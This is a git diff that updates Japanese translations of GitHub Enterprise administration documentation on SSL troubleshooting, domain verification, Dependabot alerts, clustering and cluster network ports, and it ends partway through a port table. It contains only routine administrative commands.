+++ b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting SSL errors
-intro: 'If you run into SSL issues with your appliance, you can take actions to resolve them.'
+title: SSLのエラーのトラブルシューティング
+intro: アプライアンスでSSLの問題が生じたなら、解決のためのアクションを取ってください。
 redirect_from:
   - /enterprise/admin/articles/troubleshooting-ssl-errors
   - /enterprise/admin/categories/dns-ssl-and-subdomain-configuration
@@ -19,63 +19,64 @@ topics:
   - Troubleshooting
 shortTitle: Troubleshoot SSL errors
 ---
-## Removing the passphrase from your key file
 
-If you have a Linux machine with OpenSSL installed, you can remove your passphrase.
+## 鍵ファイルからのパスフレーズの除去
 
-1. Rename your original key file.
+OpenSSLがインストールされたLinuxマシンを使うなら、パスフレーズを除去できます。
+
+1. オリジナルの鍵ファイルの名前を変えてください。
   ```shell
   $ mv yourdomain.key yourdomain.key.orig
   ```
-2. Generate a new key without a passphrase.
+2. パスフレーズなしで新しい鍵を生成してください。
   ```shell
   $ openssl rsa -in yourdomain.key.orig -out yourdomain.key
   ```
 
-You'll be prompted for the key's passphrase when you run this command.
+このコマンドを実行すると、鍵のパスフレーズを入力するようプロンプトが表示されます。
 
-For more information about OpenSSL, see [OpenSSL's documentation](https://www.openssl.org/docs/).
+OpenSSL に関する詳しい情報については、[OpenSSL のドキュメンテーション](https://www.openssl.org/docs/)を参照してください。
 
-## Converting your SSL certificate or key into PEM format
+## SSL証明書あるいは鍵のPEMフォーマットへの変換
 
-If you have OpenSSL installed, you can convert your key into PEM format by using the `openssl` command. For example, you can convert a key from DER format into PEM format.
+OpenSSL をインストールしている場合、`openssl` コマンドを使って鍵を PEM フォーマットに変換できます。 たとえば鍵を DER フォーマットから PEM フォーマットに変換できます。
 
 ```shell
 $ openssl rsa -in yourdomain.der -inform DER -out yourdomain.key -outform PEM
 ```
 
-Otherwise, you can use the SSL Converter tool to convert your certificate into the PEM format. For more information, see the [SSL Converter tool's documentation](https://www.sslshopper.com/ssl-converter.html).
+あるいは SSL Converter ツールを使って証明書を PEM フォーマットに変換することもできます。 詳しい情報については [SSL Converter ツールのドキュメンテーション](https://www.sslshopper.com/ssl-converter.html)を参照してください。
 
-## Unresponsive installation after uploading a key
+## 鍵のアップロード後の反応のない環境
 
-If {% data variables.product.product_location %} is unresponsive after uploading an SSL key, please [contact {% data variables.product.prodname_enterprise %} Support](https://enterprise.github.com/support) with specific details, including a copy of your SSL certificate.
+SSL 鍵のアップロード後に {% data variables.product.product_location %} の反応がない場合、SSL 証明書のコピーを含む詳細事項と合わせて [{% data variables.product.prodname_enterprise %} Support に連絡](https://enterprise.github.com/support)してください。
 
-## Certificate validity errors
+## 証明書の検証エラー
 
-Clients such as web browsers and command-line Git will display an error message if they cannot verify the validity of an SSL certificate. This often occurs with self-signed certificates as well as "chained root" certificates issued from an intermediate root certificate that is not recognized by the client.
+Web ブラウザやコマンドラインの Git などのクライアントは、SSL 証明書の正当性が検証できなければエラーメッセージを表示します。 これはしばしば自己署名証明書の場合や、クライアントが認識しない中間ルート証明書から発行された "チェーンドルート" 証明書の場合に生じます。
 
-If you are using a certificate signed by a certificate authority (CA), the certificate file that you upload to {% data variables.product.prodname_ghe_server %} must include a certificate chain with that CA's root certificate. To create such a file, concatenate your entire certificate chain (or "certificate bundle") onto the end of your certificate, ensuring that the principal certificate with your hostname comes first. On most systems you can do this with a command similar to:
+証明書認証局 (CA) によって署名された証明書を使っている場合は、{% data variables.product.prodname_ghe_server %} にアップロードする証明書ファイルには CA のルート証明を持つ証明書チェーンが含まれていなければなりません。 そのようなファイルを作成するには、証明書チェーン全体 (「証明書バンドル」とも呼ばれます) を証明書の終わりにつなげ、プリンシパル証明書の先頭にホスト名が来るようにしてください。 ほとんどのシステムでは、以下のようなコマンドでこの処理を行えます:
 
 ```shell
 $ cat yourdomain.com.crt bundle-certificates.crt > yourdomain.combined.crt
 ```
 
-You should be able to download a certificate bundle (for example, `bundle-certificates.crt`) from your certificate authority or SSL vendor.
+証明書バンドル (たとえば `bundle-certificates.crt`) は、証明書認証局もしくは SSL のベンダーからダウンロードできるはずです。
 
-## Installing self-signed or untrusted certificate authority (CA) root certificates
+## 自己署名もしくは信頼されない証明書認証者（CA）ルート証明書のインストール
 
-If your {% data variables.product.prodname_ghe_server %} appliance interacts with other machines on your network that use a self-signed or untrusted certificate, you will need to import the signing CA's root certificate into the system-wide certificate store in order to access those systems over HTTPS.
+{% data variables.product.prodname_ghe_server %} アプライアンスが、自己署名もしくは信頼されない証明書を使うネットワーク上の他のマシンとやりとりするのであれば、それらのシステムに HTTPS でアクセスできるようにするために、署名をした CA のルート証明書をシステム全体の証明書ストアにインポートしなければなりません。
 
-1. Obtain the CA's root certificate from your local certificate authority and ensure it is in PEM format.
-2. Copy the file to your {% data variables.product.prodname_ghe_server %} appliance over SSH as the "admin" user on port 122.
+1. CA のルート証明書をローカルの証明書認証局から取得し、それが PEM フォーマットになっていることを確認してください。
+2. そのファイルを {% data variables.product.prodname_ghe_server %} アプライアンスにポート 122 の SSH 経由で "admin" ユーザとしてコピーしてください。
   ```shell
   $ scp -P 122 rootCA.crt admin@HOSTNAME:/home/admin
   ```
-3. Connect to the {% data variables.product.prodname_ghe_server %} administrative shell over SSH as the "admin" user on port 122.
+3. {% data variables.product.prodname_ghe_server %} の管理シェルにポート 122 の SSH 経由で "admin" ユーザとして接続します。
   ```shell
   $ ssh -p 122 admin@HOSTNAME
   ```
-4. Import the certificate into the system-wide certificate store.
+4. 証明書をシステム全体の証明書ストアにインポートします。
   ```shell
   $ ghe-ssl-ca-certificate-install -c rootCA.crt
   ```
diff --git a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md
index e67d0f08e8..a09d6d934d 100644
--- a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md
+++ b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md
@@ -26,17 +26,17 @@ redirect_from:
 
 ## About verification of domains
 
-You can confirm that the websites and email addresses listed on the profiles of any organization owned by your enterprise account are controlled by your enterprise by verifying the domains. Verified domains for an enterprise account apply to every organization owned by the enterprise account.
+ドメインを検証することで、Enterprise アカウントが所有する Organization のプロファイルにリストされている Web サイトとメールアドレスが Enterprise によって管理されていることを確認できます。 Enterpriseアカウントの検証済みドメインは、そのEnterpriseアカウントが所有するすべてのOrganizationに適用されます。
 
-After you verify ownership of your enterprise account's domains, a "Verified" badge will display on the profile of each organization that has the domain listed on its profile. {% data reusables.organizations.verified-domains-details %}
+Enterprise アカウントのドメインの所有権を検証すると、プロファイルにドメインがリストされている各 Organization のプロファイルに「検証済み」のバッジが表示されます。 {% data reusables.organizations.verified-domains-details %}
 
-Organization owners will be able to verify the identity of organization members by viewing each member's email address within the verified domain.
+Organization のオーナーは、検証済みのドメインにある各メンバーのメールアドレスを表示して Organization のメンバーのアイデンティティを確認できます。
 
-After you verify domains for your enterprise account, you can restrict email notifications to verified domains for all the organizations owned by your enterprise account. For more information, see "[Restricting email notifications for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise)."
+Enterprise アカウントのドメインを検証した後、Enterprise アカウントが所有するすべての Organization の検証済みドメインにメール通知を制限できます。 For more information, see "[Restricting email notifications for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise)."
 
-Even if you don't restrict email notifications for the enterprise account, if an organization owner has restricted email notifications for the organization, organization members will be able to receive notifications at any domains verified or approved for the enterprise account, in addition to any domains verified or approved for the organization. For more information about restricting notifications for an organization, see "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)."
+Enterprise アカウントのメール通知を制限しない場合でも、Organization のオーナーが Organization のメール通知を制限している場合、Organization のメンバーは、Organizationで検証済みあるいは承認済みのドメインに加えて、Enterprise アカウントで検証済みあるいは承認済みのドメインから通知を受信できます。 Organization の通知を制限する方法について詳しくは、「[Organizationのメール通知を制限する](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)」を参照してください。
 
-Organization owners can also verify additional domains for their organizations. For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)."
+Organizationのオーナーは、自分のOrganizatinのための追加ドメインを検証することもできます。 詳しい情報については「[Organizationのドメインの検証もしくは承認](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)」を参照してください。
 
 ## About approval of domains
 
@@ -44,17 +44,17 @@ Organization owners can also verify additional domains for their organizations.
 
 {% data reusables.enterprise-accounts.approved-domains-about %}
 
-After you approve domains for your enterprise account, you can restrict email notifications for activity within your enterprise account to users with verified email addresses within verified or approved domains. For more information, see "[Restricting email notifications for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise)."
+Enterpriseアカウントのためのドメインを承認したあと、Enterpriseアカウント内のアクティビティに関するメール通知を、検証済みあるいは承認済みのドメイン内のメールアドレスを持つユーザに限定できます。 For more information, see "[Restricting email notifications for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise)."
 
-{% ifversion ghec %}To receive email notifications, the owner of the user account must verify the email address on {% data variables.product.product_name %}. For more information, see "[Verifying your email address](/github/getting-started-with-github/verifying-your-email-address)."{% endif %}
+{% ifversion ghec %}To receive email notifications, the owner of the user account must verify the email address on {% data variables.product.product_name %}. 詳しい情報については、「[メールアドレスの検証](/github/getting-started-with-github/verifying-your-email-address)」を参照してください。{% endif %}
 
-Organization owners cannot see the email address or which user account is associated with an email address from an approved domain.
+Organizationのオーナーは、メールアドレスあるいは承認済みドメインからのメールアドレスにどのユーザアカウントが関連づけられているかを見ることはできません。
 
-Organization owners can also approve additional domains for their organizations. For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)."
+Organizationのオーナーは、自分のOrganizatinのための追加ドメインを承認することもできます。 詳しい情報については「[Organizationのドメインの検証もしくは承認](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)」を参照してください。
 
 ## Verifying a domain for your enterprise account
 
-To verify your enterprise account's domain, you must have access to modify domain records with your domain hosting service.
+Enterprise アカウントのドメイン検証するには、ドメインホスティングサービスでドメインレコードを変更するためのアクセス権が必要です。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -62,14 +62,13 @@ To verify your enterprise account's domain, you must have access to modify domai
 {% data reusables.enterprise-accounts.add-a-domain %}
 {% data reusables.organizations.add-domain %}
 {% data reusables.organizations.add-dns-txt-record %}
-1. Wait for your DNS configuration to change, which may take up to 72 hours. You can confirm your DNS configuration has changed by running the `dig` command on the command line, replacing `ENTERPRISE-ACCOUNT` with the name of your enterprise account, and `example.com` with the domain you'd like to verify. You should see your new TXT record listed in the command output.
+1. DNS 設定が変更されるまで待ちます。これには、最大 72 時間かかる場合があります。 コマンドラインで `dig` コマンドを実行し、`ENTERPRISE-ACCOUNT` を Enterprise アカウントの名前に置き換え、`example.com` を検証するドメインに置き換えると、DNS 設定が変更されたことを確認できます。 新しい TXT レコードがコマンド出力に表示されているはずです。
    ```shell
    dig _github-challenge-<em>ENTERPRISE-ACCOUNT</em>.<em>example.com</em> +nostats +nocomments +nocmd TXT
    ```
-1. After confirming your TXT record is added to your DNS, follow steps one through four above to navigate to your enterprise account's approved and verified domains.
+1. TXTレコードがDNSに追加されたことを確認したら、上記のステップ1から4までに従い、Enterpriseアカウントの承認及び検証済みのドメインにアクセスしてください。
 {% data reusables.enterprise-accounts.continue-verifying-domain %}
-1. Optionally, after the "Verified" badge is visible on your organizations' profiles, delete the TXT entry from the DNS record at your domain hosting service.
-![Verified badge](/assets/images/help/organizations/verified-badge.png)
+1. 必要に応じて、Organization のプロフィールに「検証済み」バッジが表示されたら、ドメインホスティングサービスの DNS レコードから TXT エントリを削除します。 ![検証済みバッジ](/assets/images/help/organizations/verified-badge.png)
 
 ## Approving a domain for your enterprise account
 
@@ -83,10 +82,9 @@ To verify your enterprise account's domain, you must have access to modify domai
 {% data reusables.organizations.domains-approve-it-instead %}
 {% data reusables.organizations.domains-approve-domain %}
 
-## Removing an approved or verified domain
+## 検証済みあるいは承認済みのドメインの削除
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.verified-domains-tab %}
-1. To the right of the domain to remove, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Delete**.
-    !["Delete" for a domain](/assets/images/help/organizations/domains-delete.png)
+1. 削除するドメインの右で、{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}をクリックし、続いて[**Delete**]をクリックしてください。 ![ドメインの"削除"](/assets/images/help/organizations/domains-delete.png)
diff --git a/translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md b/translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md
index 27ad1a6dcc..42f49a0660 100644
--- a/translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md
+++ b/translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md
@@ -1,6 +1,7 @@
 ---
 title: Enabling the dependency graph and Dependabot alerts on your enterprise account
 intro: 'You can connect {% data variables.product.product_location %} to {% data variables.product.prodname_ghe_cloud %} and enable the dependency graph and  {% data variables.product.prodname_dependabot_alerts %} in repositories in your instance.'
+miniTocMaxHeadingLevel: 3
 shortTitle: Enable dependency analysis
 redirect_from:
   - /enterprise/admin/installation/enabling-security-alerts-for-vulnerable-dependencies-on-github-enterprise-server
@@ -20,7 +21,8 @@ topics:
   - Dependency graph
   - Dependabot
 ---
-## About alerts for vulnerable dependencies on {% data variables.product.product_location %}
+
+## {% data variables.product.product_location %} 上の脆弱性のある依存関係に対するアラートについて
 
 {% data reusables.dependabot.dependabot-alerts-beta %}
 
@@ -33,19 +35,24 @@ For more information about these features, see "[About the dependency graph](/gi
 
 ### About synchronization of data from the {% data variables.product.prodname_advisory_database %}
 
-{% data reusables.repositories.tracks-vulnerabilities %} 
+{% data reusables.repositories.tracks-vulnerabilities %}
 
-You can connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %} with {% data variables.product.prodname_github_connect %}. Once connected, vulnerability data is synced from the {% data variables.product.prodname_advisory_database %} to your instance once every hour. You can also choose to manually sync vulnerability data at any time. No code or information about code from {% data variables.product.product_location %} is uploaded to {% data variables.product.prodname_dotcom_the_website %}.
+You can connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %} with {% data variables.product.prodname_github_connect %}. Once connected, vulnerability data is synced from the {% data variables.product.prodname_advisory_database %} to your instance once every hour. また、脆弱性データはいつでも手動で同期することができます。 {% data variables.product.product_location %} からのコードまたはコードに関する情報は、{% data variables.product.prodname_dotcom_the_website %} にアップロードされません。
 
 Only {% data variables.product.company_short %}-reviewed advisories are synchronized. {% data reusables.security-advisory.link-browsing-advisory-db %}
 
+### About scanning of repositories with synchronized data from the {% data variables.product.prodname_advisory_database %}
+
+For repositories with {% data variables.product.prodname_dependabot_alerts %} enabled, scanning is triggered on any push to the default branch that contains a manifest file or lock file. Additionally, when a new vulnerability record is added to the instance, {% data variables.product.prodname_ghe_server %} scans all existing repositories in that instance and generates alerts for any repository that is vulnerable. For more information, see "[Detection of vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#detection-of-vulnerable-dependencies)."
+
+
 ### About generation of {% data variables.product.prodname_dependabot_alerts %}
 
 If you enable vulnerability detection, when {% data variables.product.product_location %} receives information about a vulnerability, it identifies repositories in your instance that use the affected version of the dependency and generates {% data variables.product.prodname_dependabot_alerts %}. You can choose whether or not to notify users automatically about new {% data variables.product.prodname_dependabot_alerts %}.
 
 ## Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies on {% data variables.product.product_location %}
 
-### Prerequisites
+### 必要な環境
 
 For {% data variables.product.product_location %} to detect vulnerable dependencies and generate {% data variables.product.prodname_dependabot_alerts %}:
 - You must connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %}. {% ifversion ghae %}This also enables the dependency graph service. {% endif %}{% ifversion ghes or ghae %}For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."{% endif %}
@@ -54,21 +61,20 @@ For {% data variables.product.product_location %} to detect vulnerable dependenc
 
 {% ifversion ghes %}
 {% ifversion ghes > 3.1 %}
-You can enable the dependency graph via the {% data variables.enterprise.management_console %} or the administrative shell. We recommend you follow the {% data variables.enterprise.management_console %} route unless {% data variables.product.product_location %} uses clustering. 
+You can enable the dependency graph via the {% data variables.enterprise.management_console %} or the administrative shell. We recommend you follow the {% data variables.enterprise.management_console %} route unless {% data variables.product.product_location %} uses clustering.
 
 ### Enabling the dependency graph via the {% data variables.enterprise.management_console %}
 {% data reusables.enterprise_site_admin_settings.sign-in %}
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.advanced-security-tab %}
-1. Under "Security," click **Dependency graph**.
-![Checkbox to enable or disable the dependency graph](/assets/images/enterprise/3.2/management-console/enable-dependency-graph-checkbox.png)
+1. Under "Security," click **Dependency graph**. ![Checkbox to enable or disable the dependency graph](/assets/images/enterprise/3.2/management-console/enable-dependency-graph-checkbox.png)
 {% data reusables.enterprise_management_console.save-settings %}
-1. Click **Visit your instance**.
+1. **Visit your instance（インスタンスへのアクセス）**をクリックしてください。
 
 ### Enabling the dependency graph via the administrative shell
 {% endif %}{% ifversion ghes < 3.2 %}
-### Enabling the dependency graph
+### 依存関係グラフの有効化
 {% endif %}
 {% data reusables.enterprise_site_admin_settings.sign-in %}
 1. In the administrative shell, enable the dependency graph on {% data variables.product.product_location %}:
@@ -84,14 +90,14 @@ You can enable the dependency graph via the {% data variables.enterprise.managem
    **Note**: For more information about enabling access to the administrative shell via SSH, see "[Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/configuration/accessing-the-administrative-shell-ssh)."
 
    {% endnote %}
-2. Apply the configuration.
+2. 設定を適用します。
     ```shell
     $ ghe-config-apply
     ```
-3. Return to {% data variables.product.prodname_ghe_server %}.
+3. {% data variables.product.prodname_ghe_server %}に戻ります。
 {% endif %}
 
-### Enabling {% data variables.product.prodname_dependabot_alerts %}
+### {% data variables.product.prodname_dependabot_alerts %} の有効化
 
 {% ifversion ghes %}
 Before enabling {% data variables.product.prodname_dependabot_alerts %} for your instance, you need to enable the dependency graph. For more information, see above.
@@ -100,12 +106,11 @@ Before enabling {% data variables.product.prodname_dependabot_alerts %} for your
 {% data reusables.enterprise-accounts.access-enterprise %}
 {%- ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %}
 {% data reusables.enterprise-accounts.github-connect-tab %}
-1. Under "Repositories can be scanned for vulnerabilities", select the drop-down menu and click **Enabled without notifications**. Optionally, to enable alerts with notifications, click **Enabled with notifications**.
-   ![Drop-down menu to enable scanning repositories for vulnerabilities](/assets/images/enterprise/site-admin-settings/enable-vulnerability-scanning-in-repositories.png)
+1. Under "Repositories can be scanned for vulnerabilities", select the drop-down menu and click **Enabled without notifications**. Optionally, to enable alerts with notifications, click **Enabled with notifications**. ![脆弱性に対するリポジトリのスキャンを有効化するドロップダウンメニュー](/assets/images/enterprise/site-admin-settings/enable-vulnerability-scanning-in-repositories.png)
 
    {% tip %}
-   
-   **Tip**: We recommend configuring {% data variables.product.prodname_dependabot_alerts %} without notifications for the first few days to avoid an overload of emails. After a few days, you can enable notifications to receive {% data variables.product.prodname_dependabot_alerts %} as usual.
+
+   **Tip**: We recommend configuring {% data variables.product.prodname_dependabot_alerts %} without notifications for the first few days to avoid an overload of emails. 数日後、通知を有効化すれば、通常どおり {% data variables.product.prodname_dependabot_alerts %} を受信できます。
 
    {% endtip %}
 
@@ -113,12 +118,10 @@ Before enabling {% data variables.product.prodname_dependabot_alerts %} for your
 When you enable {% data variables.product.prodname_dependabot_alerts %}, you should consider also setting up {% data variables.product.prodname_actions %} for {% data variables.product.prodname_dependabot_security_updates %}. This feature allows developers to fix vulnerabilities in their dependencies. For more information, see "[Setting up {% data variables.product.prodname_dependabot %} security and version updates on your enterprise](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates)."
 {% endif %}
 
-## Viewing vulnerable dependencies on {% data variables.product.product_location %}
+## {% data variables.product.product_location %}で脆弱性のある依存関係を表示する
 
-You can view all vulnerabilities in {% data variables.product.product_location %} and manually sync vulnerability data from {% data variables.product.prodname_dotcom_the_website %} to update the list.
+{% data variables.product.product_location %}ですべての脆弱性を表示し、{% data variables.product.prodname_dotcom_the_website %}から脆弱性データを手動で同期して、リストを更新することができます。
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
-2. In the left sidebar, click **Vulnerabilities**.
-  ![Vulnerabilities tab in the site admin sidebar](/assets/images/enterprise/business-accounts/vulnerabilities-tab.png)
-3. To sync vulnerability data, click **Sync Vulnerabilities now**.
-  ![Sync vulnerabilities now button](/assets/images/enterprise/site-admin-settings/sync-vulnerabilities-button.png)
+2. 左サイドバーで [**Vulnerabilities**] をクリックします。 ![サイト管理サイドバーの [Vulnerabilities] タブ](/assets/images/enterprise/business-accounts/vulnerabilities-tab.png)
+3. 脆弱性データを同期するには、[**Sync Vulnerabilities now**] をクリックします。 ![[Sync vulnerabilities now] ボタン](/assets/images/enterprise/site-admin-settings/sync-vulnerabilities-button.png)
diff --git a/translations/ja-JP/content/admin/enterprise-management/configuring-clustering/about-clustering.md b/translations/ja-JP/content/admin/enterprise-management/configuring-clustering/about-clustering.md
index 77aa3f9b25..03fdd3ef0e 100644
--- a/translations/ja-JP/content/admin/enterprise-management/configuring-clustering/about-clustering.md
+++ b/translations/ja-JP/content/admin/enterprise-management/configuring-clustering/about-clustering.md
@@ -1,6 +1,6 @@
 ---
-title: About clustering
-intro: '{% data variables.product.prodname_ghe_server %} clustering allows services that make up {% data variables.product.prodname_ghe_server %} to be scaled out across multiple nodes.'
+title: クラスタリングについて
+intro: '{% data variables.product.prodname_ghe_server %} クラスタリングを利用することで、{% data variables.product.prodname_ghe_server %} を構成するサービス群を複数のノードにまたがってスケールアウトできるようになります。'
 redirect_from:
   - /enterprise/admin/clustering/overview
   - /enterprise/admin/clustering/about-clustering
@@ -14,22 +14,23 @@ topics:
   - Clustering
   - Enterprise
 ---
-## Clustering architecture
 
-{% data variables.product.prodname_ghe_server %} is comprised of a set of services. In a cluster, these services run across multiple nodes and requests are load balanced between them. Changes are automatically stored with redundant copies on separate nodes. Most of the services are equal peers with other instances of the same service. The exceptions to this are the `mysql-server` and `redis-server` services. These operate with a single _primary_ node with one or more _replica_ nodes.
+## クラスタリングのアーキテクチャ
 
-Learn more about [services required for clustering](/enterprise/{{ currentVersion }}/admin/enterprise-management/about-cluster-nodes#services-required-for-clustering).
+{% data variables.product.prodname_ghe_server %}は、一連のサービスから構成されています。 クラスタでは、これらのサービスは複数のノードにまたがって動作し、リクエストはそれらのノード間でロードバランスされます。 変更は、冗長なコピーと共に個別のノードに自動的に保存されます。 ほとんどのサービスは、同じサービスの他のインスタンスと同等のピア群です。 ただし`mysql-server`と`redis-server`サービスは例外です。 これらは1つの_プライマリ_ノードと、1つ以上の_レプリカ_ノード上で動作します。
 
-## Is clustering right for my organization?
+[クラスタリングに必要なサービスの詳細](/enterprise/{{ currentVersion }}/admin/enterprise-management/about-cluster-nodes#services-required-for-clustering)をご覧ください。
 
-{% data reusables.enterprise_clustering.clustering-scalability %} However, setting up a redundant and scalable cluster can be complex and requires careful planning. This additional complexity will need to be planned for during installation, disaster recovery scenarios, and upgrades.
+## クラスタリングは組織に適切か？
 
-{% data variables.product.prodname_ghe_server %} requires low latency between nodes and is not intended for redundancy across geographic locations.
+{% data reusables.enterprise_clustering.clustering-scalability %}とはいえ、冗長性のあるスケーラブルなクラスタのセットアップは複雑であり、かつ、注意深い計画が必要です。 この追加の複雑さによって、インストール、システム災害復旧およびアップグレードについて計画することが必要となります。
 
-Clustering provides redundancy, but it is not intended to replace a High Availability configuration. For more information, see [High Availability configuration](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability). A primary/secondary failover configuration is far simpler than clustering and will serve the needs of many organizations. For more information, see [Differences between Clustering and High Availability](/enterprise/{{ currentVersion }}/admin/guides/clustering/differences-between-clustering-and-high-availability-ha/).
+{% data variables.product.prodname_ghe_server %} ではノード間のレイテンシが低いことが必要であり、地理的に離れた場所にまたがる冗長性を意図したものではありません。
+
+クラスタリングは冗長性を提供しますが、High Availability構成を置き換えることを意図したものではありません。 詳細は「[High Availability 構成](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability)」を参照してください。 プライマリ／セカンダリフェイルオーバー設定はクラスタリングよりもはるかにシンプルであり、多くの組織の要求に応えます。 詳しくは[クラスタリングと高可用性との違い](/enterprise/{{ currentVersion }}/admin/guides/clustering/differences-between-clustering-and-high-availability-ha/)を参照してください。
 
 {% data reusables.package_registry.packages-cluster-support %}
 
-## How do I get access to clustering?
+## クラスタリングを利用するには？
 
-Clustering is designed for specific scaling situations and is not intended for every organization. If clustering is something you'd like to consider, please contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %}.
+クラスタリングは特定のスケーリングの状況のために設計されており、すべての組織を対象としたものではありません。 クラスタリングをご検討される場合は、専任の担当者または {% data variables.contact.contact_enterprise_sales %} にお問い合わせください。
diff --git a/translations/ja-JP/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md b/translations/ja-JP/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md
index 9ae58ffd19..9136fd5aae 100644
--- a/translations/ja-JP/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md
+++ b/translations/ja-JP/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md
@@ -1,6 +1,6 @@
 ---
-title: Cluster network configuration
-intro: '{% data variables.product.prodname_ghe_server %} clustering relies on proper DNS name resolution, load balancing, and communication between nodes to operate properly.'
+title: クラスタのネットワーク設定
+intro: '{% data variables.product.prodname_ghe_server %} クラスタリングが適切に動作するためには、DNS の名前解決、ロードバランシング、ノード間の通信が適切に行われなければなりません。'
 redirect_from:
   - /enterprise/admin/clustering/cluster-network-configuration
   - /enterprise/admin/enterprise-management/cluster-network-configuration
@@ -15,101 +15,102 @@ topics:
   - Networking
 shortTitle: Configure a cluster network
 ---
-## Network considerations
 
-The simplest network design for clustering is to place the nodes on a single LAN. If a cluster must span subnetworks, we do not recommend configuring any firewall rules between the networks. The latency between nodes should be less than 1 millisecond.
+## ネットワークに関する考慮
 
-{% ifversion ghes %}For high availability, the latency between the network with the active nodes and the network with the passive nodes must be less than 70 milliseconds. We don't recommend configuring a firewall between the two networks.{% endif %}
+クラスタリングのための最もシンプルなネットワーク設計は、ノード群を単一のLANに置くことです。 クラスタがサブネットワークにまたがる必要がある場合は、ネットワーク間にファイアウォールルールを設定することはお勧めしません。 ノード間の遅延は 1 ミリ秒未満である必要があります。
 
-### Application ports for end users
+{% ifversion ghes %}High Availability を実現するには、アクティブノードを備えたネットワークとパッシブノードを備えたネットワーク間の遅延が 70 ミリ秒未満である必要があります。 2 つのネットワーク間にファイアウォールを設定することはお勧めしません。{% endif %}
 
-Application ports provide web application and Git access for end users.
+### エンドユーザーのためのアプリケーションポート
 
-| Port     | Description     | Encrypted  |
-| :------------- | :------------- | :------------- |
-| 22/TCP    | Git over SSH | Yes |
-| 25/TCP    | SMTP | Requires STARTTLS |
-| 80/TCP    | HTTP | No<br>(When SSL is enabled this port redirects to HTTPS) |
-| 443/TCP   | HTTPS | Yes |
-| 9418/TCP  | Simple Git protocol port<br>(Disabled in private mode) | No |
+アプリケーションのポートは、エンドユーザーにWebアプリケーションとGitへのアクセスを提供します。
 
-### Administrative ports
+| ポート      | 説明                                             | 暗号化                                                |
+|:-------- |:---------------------------------------------- |:-------------------------------------------------- |
+| 22/TCP   | Git over SSH                                   | あり                                                 |
+| 25/TCP   | SMTP                                           | STARTTLSが必要                                        |
+| 80/TCP   | HTTP                                           | なし<br>（SSLが有効化されている場合、このポートはHTTPSにリダイレクトされる） |
+| 443/TCP  | HTTPS                                          | あり                                                 |
+| 9418/TCP | シンプルなGitプロトコルのポート<br>（プライベートモードでは無効化される） | なし                                                 |
 
-Administrative ports are not required for basic application use by end users.
+### 管理ポート
 
-| Port     | Description     | Encrypted  |
-| :------------- | :------------- | :------------- |
-| ICMP      | ICMP Ping | No |
-| 122/TCP   | Administrative SSH | Yes |
-| 161/UDP    | SNMP | No |
-| 8080/TCP  | Management Console HTTP | No<br>(When SSL is enabled this port redirects to HTTPS) |
-| 8443/TCP  | Management Console HTTPS | Yes |
